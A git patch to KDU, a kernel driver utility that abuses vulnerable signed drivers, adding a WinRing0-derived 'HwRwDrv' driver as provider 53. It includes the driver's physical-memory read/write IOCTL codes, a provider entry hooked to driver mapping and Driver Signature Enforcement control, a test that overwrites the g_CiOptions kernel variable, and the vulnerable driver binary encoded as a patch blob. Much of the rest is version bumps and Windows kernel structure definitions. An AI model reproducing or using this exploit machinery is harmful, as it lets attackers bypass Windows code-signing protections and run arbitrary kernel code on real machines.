From c6af6f8fbd999573eea0a4cdc635b9db4615b314 Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Sun, 10 Nov 2024 12:24:06 +0700 Subject: [PATCH] v1.4.3 Added fresh HwRwDrv.x64 (WinRing0 tweaked copy-paste) driver as provider 53 --- README.md | 2 + Source/Hamakaze/KDU.vcxproj.user | 4 +- Source/Hamakaze/idrv/asrdrv.cpp | 7 +- Source/Hamakaze/idrv/winring0.h | 25 ++++++- Source/Hamakaze/kduplist.h | 32 ++++++++- Source/Hamakaze/main.cpp | 6 +- Source/Hamakaze/resource.rc | 8 +-- Source/Hamakaze/tests.cpp | 12 ++-- Source/Shared/consts.h | 12 ++-- Source/Shared/ntos/ntbuilds.h | 8 ++- Source/Shared/ntos/ntos.h | 66 +++++++++++++++++-- Source/Tanikaze/Tanikaze.vcxproj | 1 + Source/Tanikaze/Tanikaze.vcxproj.filters | 3 + Source/Tanikaze/data/AsusCertService.bin | Bin 159488 -> 159488 bytes Source/Tanikaze/data/KMUEXE.bin | Bin 91965 -> 91965 bytes Source/Tanikaze/data/KMUSIG.bin | 2 +- Source/Tanikaze/data/dbutilcat.bin | Bin 5973 -> 5973 bytes Source/Tanikaze/data/dbutilinf.bin | Bin 961 -> 961 bytes Source/Tanikaze/drv/ALSysIO64.bin | Bin 22889 -> 22889 bytes Source/Tanikaze/drv/AMDRyzenMasterDriver.bin | Bin 26170 -> 26170 bytes Source/Tanikaze/drv/AODDriver215.bin | Bin 8108 -> 8108 bytes Source/Tanikaze/drv/ATSZIO64.bin | Bin 10480 -> 10480 bytes Source/Tanikaze/drv/AppShopDrv103.bin | Bin 18126 -> 18126 bytes Source/Tanikaze/drv/AsIO3.bin | Bin 23237 -> 23237 bytes Source/Tanikaze/drv/AsrDrv106.bin | Bin 28195 -> 28195 bytes Source/Tanikaze/drv/AsrDrv107.bin | Bin 29212 -> 29212 bytes Source/Tanikaze/drv/AsrDrv107n.bin | Bin 28420 -> 28420 bytes Source/Tanikaze/drv/AxtuDrv.bin | Bin 11593 -> 11593 bytes Source/Tanikaze/drv/DbUtil2_3.bin | Bin 7938 -> 7938 bytes Source/Tanikaze/drv/DirectIo64.bin | Bin 22129 -> 22129 bytes Source/Tanikaze/drv/DirectIo64_2.bin | Bin 24128 -> 24128 bytes Source/Tanikaze/drv/EneIo64.bin | Bin 9168 -> 9168 bytes Source/Tanikaze/drv/EneTechIo64.bin | Bin 10975 -> 10975 bytes Source/Tanikaze/drv/GLCKIO2.bin | Bin 10566 -> 10566 bytes Source/Tanikaze/drv/HW64.bin | Bin 17993 -> 17993 bytes Source/Tanikaze/drv/HwRwDrv.x64.bin | Bin 0 -> 19954 bytes Source/Tanikaze/drv/KExplore.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KObjExp.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KRegExp.bin | Bin 12926 -> 12926 bytes Source/Tanikaze/drv/LDD.bin | Bin 21856 -> 21856 bytes Source/Tanikaze/drv/MsIo64.bin | Bin 14068 -> 14068 bytes Source/Tanikaze/drv/PdFwKrnl.bin | Bin 17174 -> 17174 bytes Source/Tanikaze/drv/PhyDMACC.bin | Bin 7998 -> 7998 bytes Source/Tanikaze/drv/Phymemx64.bin | Bin 13875 -> 13875 bytes Source/Tanikaze/drv/RTCore64.bin | Bin 7605 -> 7605 bytes Source/Tanikaze/drv/SysDrv3S.bin | Bin 14691 -> 14691 bytes Source/Tanikaze/drv/WinRing0x64.bin | Bin 7989 -> 7989 bytes Source/Tanikaze/drv/amsdk.bin | Bin 93689 -> 93689 bytes Source/Tanikaze/drv/asio2.bin | Bin 19306 -> 19306 bytes Source/Tanikaze/drv/dbk64.bin | Bin 51941 -> 51941 bytes Source/Tanikaze/drv/dbutildrv2.bin | Bin 13068 -> 13068 bytes Source/Tanikaze/drv/echo_driver.bin | Bin 12299 -> 12299 bytes Source/Tanikaze/drv/eleetx1.bin | Bin 21133 -> 21133 bytes Source/Tanikaze/drv/ene2.bin | Bin 11550 -> 11550 bytes Source/Tanikaze/drv/etdsupp.bin | Bin 17877 -> 17877 bytes Source/Tanikaze/drv/gdrv.bin | Bin 12988 -> 12988 bytes Source/Tanikaze/drv/gmerdrv.bin | Bin 28189 -> 28189 bytes Source/Tanikaze/drv/heavenluo.bin | Bin 10082 -> 10082 bytes Source/Tanikaze/drv/iQVM64.bin | Bin 16988 -> 16988 bytes Source/Tanikaze/drv/inpoutx64.bin | Bin 7526 -> 7526 bytes Source/Tanikaze/drv/irec.bin | Bin 41638 -> 41638 bytes Source/Tanikaze/drv/kprocesshacker.bin | Bin 19038 -> 19038 bytes Source/Tanikaze/drv/lha.bin | Bin 12338 -> 12338 bytes Source/Tanikaze/drv/mimidrv.bin | Bin 15718 -> 15718 bytes Source/Tanikaze/drv/nvoclock.bin | Bin 18208 -> 18208 bytes Source/Tanikaze/drv/pcdsrvc_x64.bin | Bin 13490 -> 13490 bytes Source/Tanikaze/drv/physmem.bin | Bin 13649 -> 13649 bytes Source/Tanikaze/drv/pmxdrv64.bin | Bin 23945 -> 23945 bytes Source/Tanikaze/drv/procexp1627.bin | Bin 18571 -> 18571 bytes Source/Tanikaze/drv/procexp1702.bin | Bin 19573 -> 19573 bytes Source/Tanikaze/drv/rtkio64.bin | Bin 25003 -> 25003 bytes Source/Tanikaze/drv/rzpnk.bin | Bin 35883 -> 35883 bytes Source/Tanikaze/drv/wnBios64.bin | Bin 12858 -> 12858 bytes Source/Tanikaze/resource.h | 3 +- Source/Tanikaze/resource.rc | 10 +-- Source/Tanikaze/tanikaze.h | 21 +++++- 76 files changed, 175 insertions(+), 47 deletions(-) create mode 100644 Source/Tanikaze/drv/HwRwDrv.x64.bin diff --git a/README.md b/README.md index 755faff..7b65db8 100644 --- a/README.md +++ b/README.md @@ -162,6 +162,7 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified. | 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | | | 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | | | 52 | Intel | PmxDrv | Intel(R) Management Engine Tools Driver | 1.0.0.1003 and below | | +| 53 | Jun Liu | HwRwDrv | Hardware read & write driver | 1.0.0.6 and below | | MSFT blacklist types: * Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time. @@ -224,6 +225,7 @@ MSFT blacklist types: |50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C| |51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2| |52|Original||**File(SHA1):** 9E5FCAEA33C9A181C56F7D0E4D9C42F8EDEAD252
**Authenticode(SHA1):** 7919108CB1278503EC4A78DD25694C6770EAA989
**Page(SHA1):** E1CE5A5E2CEB0AAD9CB588A900BF471462FAC42B
**Page(SHA256):** 6991344C8771FC717F878F9A6B0C258BC81FB3BF1F7F3CBED3EF8F86541B253F| +|53|WINRING0||**File(SHA1):** DB8BCB8693DDF715552F85B8E2628F060070F920
**Authenticode(SHA1):** 8C40A82DF3D606A87DF243C787283C26CE9B0458
**Page(SHA1):** F7362528C0118F895D4D51588102C51A09B1691C
**Page(SHA256):** 2A8B9C786DEA17F00E105BFEF82B723E2578150E814DD9A94ED007275C96AC25| ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index e229358..262e59e 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,11 +1,11 @@  - -dse 0 + -test WindowsLocalDebugger - -prv 52 -map c:\install\dummy2.sys + -prv 53 -map c:\install\dummy2.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/idrv/asrdrv.cpp b/Source/Hamakaze/idrv/asrdrv.cpp index 6562d8c..ee43235 100644 --- a/Source/Hamakaze/idrv/asrdrv.cpp +++ b/Source/Hamakaze/idrv/asrdrv.cpp @@ -4,9 +4,9 @@ * * TITLE: ASRDRV.CPP * -* VERSION: 1.41 +* VERSION: 1.43 * -* DATE: 10 Dec 2023 +* DATE: 10 Nov 2023 * * ASRock driver routines. * @@ -271,9 +271,6 @@ BOOL WINAPI AsrWritePhysicalMemory( &args); } - - - /* * RweReadPhysicalMemory * diff --git a/Source/Hamakaze/idrv/winring0.h b/Source/Hamakaze/idrv/winring0.h index 162a12d..43a704d 100644 --- a/Source/Hamakaze/idrv/winring0.h +++ b/Source/Hamakaze/idrv/winring0.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2021 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: WINRING0.H * -* VERSION: 1.10 +* VERSION: 1.43 * -* DATE: 15 Apr 2021 +* DATE: 10 Nov 2024 * * WinRing0 based drivers interface header. * @@ -53,6 +53,25 @@ typedef struct _OLS_WRITE_MEMORY_INPUT { #pragma pack(pop) +// +// Faintsnow Hardware read & write driver interface. +// Essentially it's a slightly tweaked WinRing0 copy-paste. +// +// Related CVE's: +// CVE-2021-29337, CVE-2023-1679, CVE-2021-29337, CVE-2020-13517 etc, all the same and all makes zero sense. +// + +#define HWRWDRV_TYPE (DWORD)0x9C40 + +#define HWRW_READ_MEMORY (DWORD)0x841 +#define HWRW_WRITE_MEMORY (DWORD)0x842 + +#define IOCTL_HWRW_READ_MEMORY \ + CTL_CODE(HWRWDRV_TYPE, HWRW_READ_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS) //0x9C406104 + +#define IOCTL_HWRW_WRITE_MEMORY \ + CTL_CODE(HWRWDRV_TYPE, HWRW_WRITE_MEMORY, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x9C40A108 + BOOL WINAPI WRZeroReadPhysicalMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR PhysicalAddress, diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index 67c6d2d..ff09e20 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -4,9 +4,9 @@ * * TITLE: KDUPLIST.H * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * Providers global list. * @@ -1469,6 +1469,32 @@ static KDU_PROVIDER g_KDUProviders[] = (provValidatePrerequisites)NULL, (provOpenProcess)NULL - } + }, + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)NULL, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)WRZeroReadPhysicalMemory, + (provWritePhysicalMemory)WRZeroWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + } }; diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp index d9481ef..261c5f5 100644 --- a/Source/Hamakaze/main.cpp +++ b/Source/Hamakaze/main.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2023 +* (C) COPYRIGHT AUTHORS, 2020 - 2024 * * TITLE: MAIN.CPP * -* VERSION: 1.40 +* VERSION: 1.43 * -* DATE: 20 Oct 2023 +* DATE: 10 Nov 2024 * * Hamakaze main logic and entrypoint. * diff --git a/Source/Hamakaze/resource.rc b/Source/Hamakaze/resource.rc index eb4a35a..786707b 100644 --- a/Source/Hamakaze/resource.rc +++ b/Source/Hamakaze/resource.rc @@ -51,8 +51,8 @@ END // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,4,2,2409 - PRODUCTVERSION 1,4,2,2409 + FILEVERSION 1,4,3,2411 + PRODUCTVERSION 1,4,3,2411 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -69,12 +69,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility" - VALUE "FileVersion", "1.4.2.2409" + VALUE "FileVersion", "1.4.3.2411" VALUE "InternalName", "Hamakaze.exe" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Hamakaze.exe" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.4.2.2409" + VALUE "ProductVersion", "1.4.3.2411" END END BLOCK "VarFileInfo" diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index bea6efa..a4d492f 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -4,9 +4,9 @@ * * TITLE: TESTS.CPP * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * KDU tests. * @@ -57,7 +57,7 @@ VOID KDUTestLoad() VOID KDUTestDSE(PKDU_CONTEXT Context) { - ULONG_PTR g_CiOptions = 0xfffff80031e3a478;//need update + ULONG_PTR g_CiOptions = 0xfffff8021bc3a308;//need update ULONG_PTR oldValue = 0, newValue = 0x0, testValue = 0; KDU_PROVIDER* prov = Context->Provider; @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(KDU_PROVIDER_INTEL_PMXDRV, + Context = KDUProviderCreate(KDU_PROVIDER_HWRWDRVX64, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, @@ -196,8 +196,8 @@ VOID KDUTest() if (Context) { - //TestBrute(Context); - KDUTestDSE(Context); + TestBrute(Context); + //KDUTestDSE(Context); KDUProviderRelease(Context); } diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index 1d9a86b..0ce9076 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.42 +* VERSION: 1.43 * -* DATE: 23 Sep 2024 +* DATE: 10 Nov 2024 * * Global consts. * @@ -21,8 +21,8 @@ #define KDU_VERSION_MAJOR 1 #define KDU_VERSION_MINOR 4 -#define KDU_VERSION_REVISION 2 -#define KDU_VERSION_BUILD 2409 +#define KDU_VERSION_REVISION 3 +#define KDU_VERSION_BUILD 2411 #define KDU_COPYRIGHT_YEAR 2024 #define KDU_MIN_NTBUILDNUMBER 0x1DB1 //Windows 7 SP1 @@ -30,7 +30,7 @@ #define IPC_GET_HANDLE 0x1337 -#define KDU_SYNC_MUTANT 0x2409 +#define KDU_SYNC_MUTANT 0x2411 #define NT_REG_PREP L"\\Registry\\Machine" #define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" @@ -155,6 +155,7 @@ #define IDR_ASROCKDRV3 152 #define IDR_ASROCKDRV4 153 #define IDR_PMXDRV64 154 +#define IDR_HWRWDRVX64 155 // // Vulnerable drivers providers id @@ -212,6 +213,7 @@ #define KDU_PROVIDER_ASROCK4 50 #define KDU_PROVIDER_ASROCK5 51 #define KDU_PROVIDER_INTEL_PMXDRV 52 +#define KDU_PROVIDER_HWRWDRVX64 53 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Shared/ntos/ntbuilds.h b/Source/Shared/ntos/ntbuilds.h index 2dca12b..1e2cfd1 100644 --- a/Source/Shared/ntos/ntbuilds.h +++ b/Source/Shared/ntos/ntbuilds.h @@ -6,7 +6,7 @@ * * VERSION: 1.26 * -* DATE: 15 Sep 2024 +* DATE: 11 Oct 2024 * * Windows NT builds definition file. * @@ -88,6 +88,8 @@ // Windows 11 23H2 #define NT_WIN11_23H2 22631 +// Windows 11 24H2 +#define NT_WIN11_24H2 26100 + // Windows 11 Active Development Branch -#define NT_WIN11_24H2 26100 //canary (24H2) -#define NT_WIN11_25H2 27695 //canary (25H2) +#define NT_WIN11_25H2 27723 //canary (25H2) diff --git a/Source/Shared/ntos/ntos.h b/Source/Shared/ntos/ntos.h index 547ba5e..4dbd469 100644 --- a/Source/Shared/ntos/ntos.h +++ b/Source/Shared/ntos/ntos.h @@ -5,9 +5,9 @@ * * TITLE: NTOS.H * -* VERSION: 1.226 +* VERSION: 1.227 * -* DATE: 07 Jun 2024 +* DATE: 07 Oct 2024 * * Common header file for the ntos API functions and definitions. * @@ -7405,6 +7405,29 @@ typedef struct _FLT_OBJECT_V2 { GUID UniqueIdentifier; } FLT_OBJECT_V2, *PFLT_OBJECT_V2; /* size: 0x0030 */ +// Since w11 25h2 +typedef struct _FLT_OBJECT_V3 { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; + PVOID RundownLog; + GUID UniqueIdentifier; +} FLT_OBJECT_V3, * PFLT_OBJECT_V3; /* size: 0x0038 */ + +typedef struct _FLT_OBJECT_LOG_ENTRY { + ULONG Action; + LONG Padding_25; + EX_RUNDOWN_REF RundownRef; + PVOID Stack[14]; +} FLT_OBJECT_LOG_ENTRY, * PFLT_OBJECT_LOG_ENTRY; /* size: 0x0080 */ + +typedef struct _FLT_OBJECT_LOG { + LONG Index; + ULONG Reserved; + FLT_OBJECT_LOG_ENTRY Log[1024]; +} FLT_OBJECT_LOG, * PFLT_OBJECT_LOG; /* size: 0x20008 */ + typedef struct _FLT_SERVER_PORT_OBJECT { LIST_ENTRY FilterLink; PVOID ConnectNotify; @@ -7576,8 +7599,43 @@ typedef struct _FLT_FILTER_V4 { /* 0x02a8 */ EX_PUSH_LOCK_AUTO_EXPAND PortLock; } FLT_FILTER_V4, * PFLT_FILTER_V4; /* size: 0x02b8 */ -typedef FLT_FILTER_V4 FLT_FILTER_COMPATIBLE; -typedef PFLT_FILTER_V4 PFLT_FILTER_COMPATIBLE; +// Windows 11+ (27XXX) +typedef struct _FLT_FILTER_V5 { + /* 0x0000 */ FLT_OBJECT_V3 Base; + /* 0x0038 */ struct _FLTP_FRAME* Frame; + /* 0x0040 */ UNICODE_STRING Name; + /* 0x0050 */ UNICODE_STRING DefaultAltitude; + /* 0x0060 */ FLT_FILTER_FLAGS Flags; + /* 0x0064 */ LONG Padding; + /* 0x0068 */ DRIVER_OBJECT* DriverObject; + /* 0x0070 */ FLT_RESOURCE_LIST_HEAD InstanceList; + /* 0x00f0 */ struct _FLT_VERIFIER_EXTENSION* VerifierExtension; + /* 0x00f8 */ LIST_ENTRY VerifiedFiltersLink; + /* 0x0108 */ PVOID FilterUnload /* function */; + /* 0x0110 */ PVOID InstanceSetup /* function */; + /* 0x0118 */ PVOID InstanceQueryTeardown /* function */; + /* 0x0120 */ PVOID InstanceTeardownStart /* function */; + /* 0x0128 */ PVOID InstanceTeardownComplete /* function */; + /* 0x0130 */ struct _ALLOCATE_CONTEXT_HEADER* SupportedContextsListHead; + /* 0x0138 */ struct _ALLOCATE_CONTEXT_HEADER* SupportedContexts[7]; + /* 0x0170 */ PVOID PreVolumeMount /* function */; + /* 0x0178 */ PVOID PostVolumeMount /* function */; + /* 0x0180 */ PVOID GenerateFileName /* function */; + /* 0x0188 */ PVOID NormalizeNameComponent /* function */; + /* 0x0190 */ PVOID NormalizeNameComponentEx /* function */; + /* 0x0198 */ PVOID NormalizeContextCleanup /* function */; + /* 0x01a0 */ PVOID KtmNotification /* function */; + /* 0x01a8 */ PVOID SectionNotification /* function */; + /* 0x01b0 */ struct _FLT_OPERATION_REGISTRATION* Operations; + /* 0x01b8 */ PVOID OldDriverUnload /* function */; + /* 0x01c0 */ FLT_MUTEX_LIST_HEAD ActiveOpens; + /* 0x0210 */ FLT_MUTEX_LIST_HEAD ConnectionList; + /* 0x0260 */ FLT_MUTEX_LIST_HEAD PortList; + /* 0x02b0 */ EX_PUSH_LOCK_AUTO_EXPAND PortLock; +} FLT_FILTER_V5, * PFLT_FILTER_V5; /* size: 0x02c0 */ + +typedef FLT_FILTER_V5 FLT_FILTER_COMPATIBLE; +typedef PFLT_FILTER_V5 PFLT_FILTER_COMPATIBLE; /* ** FLT MANAGER END diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 4b8a004..90f53b9 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -213,6 +213,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index cc1eece..b5fc54e 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -220,6 +220,9 @@ Resource Files + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 5b80dbab2a91c473b0c936dcc1583b8e9b6fbd58..629a90e571e9b34e564fa22b5ee99b837198d93f 100644 GIT binary patch delta 27 jcmZp;$Jua?lWRl626OqpTRbk@Z{%v_V%*Bb^eqnnuUZTD delta 27 jcmZp;$Jua?lWRl62J`tY2MZ@ZY~*U?V%*Bb^eqnntcVM_ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 010388460cde34d0ffec99658e1b7f9a75fc348d..f773db46937ed3212fa19229096b337991e809a7 100644 GIT binary patch delta 24 gcmdmcj&<)jR;~>V8_eyex_Ml<-^jIV8_ds}UoM>du#syk7o%}H0F`$NVf[æÒ&S–>§˜oœƒÖ°ÝükFzQ šÊy,°-Ò·}eÎI8×ôq^gÉ0¤”^ Áûr*œ(®ò™aÃ7p}‡?š4FjB\0K$1g^퉄”Œ¸bÿÓïV`Í´µý%뇱Þ7—*óÙÖ¯>ôÌwiá +°€°7O_DHÐß°zæÃ,]ãqq«>Vf[æÒ&S–>§˜oœƒÖ°ÝükFzQ šÊy,°-Ò·}eÎI8×ôq^gÉ0¤”^ Áûr*œ(®ò™aÃ7p}‡?š4FjB\0K$1g^퉄”Œ¸bÿÓïV`Í´µý%뇱Þ7—*óÙÖ¯>ôÌwiá mV?‰SHèæ/Œ0£8”ÎHˆ ]àì \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 116cc895aa20956354ca6a80a64b36961ae590e6..0b5038f0e8c7f5df6b38b32957e4b6bb6fe6b3fa 100644 GIT binary patch delta 19 bcmcbrcU6yTL&FAh|8w3R7w&K5@)idGTI2|% delta 19 bcmcbrcU6yTL&FC1^O08yCqLZC@#w2^|0c delta 21 dcmaF4iSgwoMy?GF8_eg&FD;z>a3fcIBmj0`3RM6A diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 9ba0c8c2795117798865643c734553b142b57ba0..6bdf7322190a70ddeb3968d74414e2b581bd2e49 100644 GIT binary patch delta 21 dcmdmWhH=*!My?GF8_fA%2zp$&zmdxz4FGL^34j0q delta 21 dcmdmWhH=*!My?GF8_fG3Ei9b;a3hyN8US{K3U~kj diff --git a/Source/Tanikaze/drv/AODDriver215.bin b/Source/Tanikaze/drv/AODDriver215.bin index 5afac302bb4a47802ad38d91aa07bbd7ddc8fe69..5a93729cfd247505807cd68c7dad22c1fda60409 100644 GIT binary patch delta 19 bcmZ2uzs8G diff --git a/Source/Tanikaze/drv/AppShopDrv103.bin b/Source/Tanikaze/drv/AppShopDrv103.bin index 2e217967d1395c7b49b857fcb6b1038feab69bd4..0ffc8ff7d29915946be9a8cb0f975978f162bfee 100644 GIT binary patch delta 21 dcmX@t%XqGrk!wT42J`-3aUK`$Z{#}S1^{q@3Vi?o delta 21 dcmX@t%XqGrk!wT42J`>BpB7GjxRL9K8vu5l3nKsk diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index cbcb8f1883735ba38a3d2b31e5a59ee325a740f5..9e8e9840e4c24658c172be0c61853f7946c41c44 100644 GIT binary patch delta 21 dcmX@QmGS6SMy?GF8_eTbOgt{!-^jH)3IJ&q33dPg delta 21 dcmX@QmGS6SMy?GF8_eHFx)e@+xRGmj6aaDV3RwUE diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index cfbad36eb5e164ddc89eb5adf3a2a44f03f54e99..50f195e01047af9973eb62514cd5aaf0e9af8586 100644 GIT binary patch delta 21 dcmZ2{hjH;8My?GF8_eaeNO)YhzmZEa4*+aS31$EQ delta 21 dcmZ2{hjH;8My?GF8_d_gTv0gr;YKdWJOFm%3W)#! diff --git a/Source/Tanikaze/drv/AsrDrv107.bin b/Source/Tanikaze/drv/AsrDrv107.bin index 8ee599abc1d8c188c4ddb6be9ac8004babe788fc..15bbc86bb97e36bd63707d4e702c1489ae938afc 100644 GIT binary patch delta 21 dcmbR9gmKOjMy?GF8_eqsqCGC$-^e9Y1ORMo31k2O delta 21 dcmbR9gmKOjMy?GF8_eI=Jt&;~a3hyc5de2>3Y7o= diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin index d75cd59d0d69e3bbc0e0ab2a3952da98eb6de321..e6d6322a48fc3301adc05c06b659d83823955052 100644 GIT binary patch delta 21 dcmZp<$Jla@k!wT42J`&y;T{+6Z{+%w2LNyJ3cmmV delta 21 dcmZp<$Jla@k!wT42J`pl9~Dl1xRL8u9sqZo3y=T+ diff --git a/Source/Tanikaze/drv/AxtuDrv.bin b/Source/Tanikaze/drv/AxtuDrv.bin index 0028c7cfe297dbda58f53263ec1c360b715d0021..babe981c08a9477e8ff391375301db88477ebb2a 100644 GIT binary patch delta 19 bcmX>Zbux-;L&FC1{@fUk3->p2+3NxTUa1J) delta 19 bcmX>Zbux-;L&FAhey7)klOJy6veyLwTv-UP diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index 1651ef368ebe37fd2a69424ab938fbdceee5a9a2..0a8d38dbcba3d486582fd5cf519f8b6affedff44 100644 GIT binary patch delta 19 bcmZp&YqI0o(6GV0KkcaJh5H-1e#ij;RcHw% delta 19 acmZp&YqI0o(6GT=UOT#Q^23c>KjZ*QSqJ?9 diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index e34efe96ff5311c185b1e0416133d6070441e6b5..4149ee6f8ae7bdcbb3d44c77d0a68abc4ecac36f 100644 GIT binary patch delta 21 dcmeykhVkPXMy?GF8_fBOetTZHzmY3F3;=Y_3Q7O~ delta 21 dcmeykhVkPXMy?GF8_egMaTZQ~xREP83;=L;37G%@ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index 41241d0ddb856a5d72f9e924566e4c2434570aeb..bfff22824d17e41c3da396cf86474d28dafde475 100644 GIT binary patch delta 21 dcmX@Ghw;E3My?GF8_f9+fAzd@ezFbCYrG1~ delta 19 bcmccMe!-nWbS#K#L&FC1`@*k0FWleAWuplIVUP(% delta 19 bcmX>WbS#K#L&FC1{414(lOJy6ve5(pU?m9? diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 2e4a4b8896f9375df2f465a14777f1c46b67b987..d0e771c7e173af65593b76c23dbf33b7bf279975 100644 GIT binary patch delta 21 dcmX@v!+5fXk!wT42J`qw1|ApgZ{)If0|07g33dPg delta 21 dcmX@v!+5fXk!wT42J`pJ+zKZ@+{k6`1^{kW3C;ij diff --git a/Source/Tanikaze/drv/HwRwDrv.x64.bin b/Source/Tanikaze/drv/HwRwDrv.x64.bin new file mode 100644 index 0000000000000000000000000000000000000000..9abf70228d6b6e923d54f64150c3bd39e74f6b47 GIT binary patch literal 19954 zcmV(nK=Qw^fUq}T3r|SU-vh9E=Bwv$RJgl4$^0^Gk$}`!J{d~j!GoVYEjimguA8~z z!`lsleQDQ@#Vz*-+RJKRnx9cLA+>H59B|>3EwOu`-zR?j_?V>z_~SeM?{?+;k!Iu8 zx$Xr6#BDeV9LpgK1f#o0ukBO&ASUiRIG>)eio2p=^u?g5 zqwFmSiezqc(PhBpbO5C8)7YM?juESYzkEiJ=ot4cqSxi2jG^HF>%z!YL_ zc`i5wSI3i!>~{q|Xu!RL#tRwsCGH|MoEWfjtqs}clDlR=+W;L^|2+ZtWr@ECxr4xp z+Rz_|C4ndP@v8XVi>6@s;+h*51t#p$^~{_5RhK+BRpS8R+ET96N#ioO>Mm)Zg=ulu zms57|5B3lLFir4HBgL6loy*{Wn4 z3__mHp(oh!k}%aRnhZ@Q?zjm|-&a39`Q=)OsjJQ<(QOdk5cRke}ZQU?x z?T9xmjJg`fky$3pd9ljrp%_C&fUZG)Bt4534odM=<%lsSLb$lMXVRAikZj$8TrEN4 zHjW%$50`S+ZILi`0^%27e6@0z#0&IMY3E|-JKl4*JtF3>u6EG}EKJy9@{58c>Ji@x 